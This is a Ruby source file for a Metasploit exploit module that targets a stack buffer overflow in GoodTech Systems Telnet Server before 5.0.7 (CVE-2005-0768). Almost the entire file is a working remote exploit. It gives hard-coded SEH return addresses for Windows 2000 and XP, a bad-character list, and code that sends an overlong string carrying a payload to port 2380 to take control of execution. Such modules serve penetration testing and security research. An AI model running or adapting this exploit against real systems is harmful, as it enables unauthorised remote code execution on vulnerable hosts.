73 lines
1.9 KiB
Ruby
73 lines
1.9 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = AverageRanking
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include Msf::Exploit::Remote::Tcp
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include Msf::Exploit::Remote::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'GoodTech Telnet Server Buffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in GoodTech Systems Telnet Server
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versions prior to 5.0.7. By sending an overly long string, an attacker can
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overwrite the buffer and control program execution.
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},
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'License' => MSF_LICENSE,
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'Author' => 'MC',
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'References' =>
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[
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[ 'CVE', '2005-0768' ],
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[ 'OSVDB', '14806'],
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[ 'BID', '12815' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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},
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'Payload' =>
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{
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'Space' => 400,
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'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
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'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows 2000 Pro English All', { 'Ret' => 0x75022ac4 } ],
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[ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ],
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],
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'Privileged' => true,
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'DisclosureDate' => 'Mar 15 2005',
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'DefaultTarget' => 0))
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register_options(
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[
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Opt::RPORT(2380)
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], self.class)
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end
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def exploit
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connect
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sploit = rand_text_english(10020, payload_badchars)
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seh = generate_seh_payload(target.ret)
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sploit[10012, seh.length] = seh
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print_status("Trying target #{target.name}...")
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sock.put(sploit + "\r\n\r\n")
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handler
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disconnect
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end
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end
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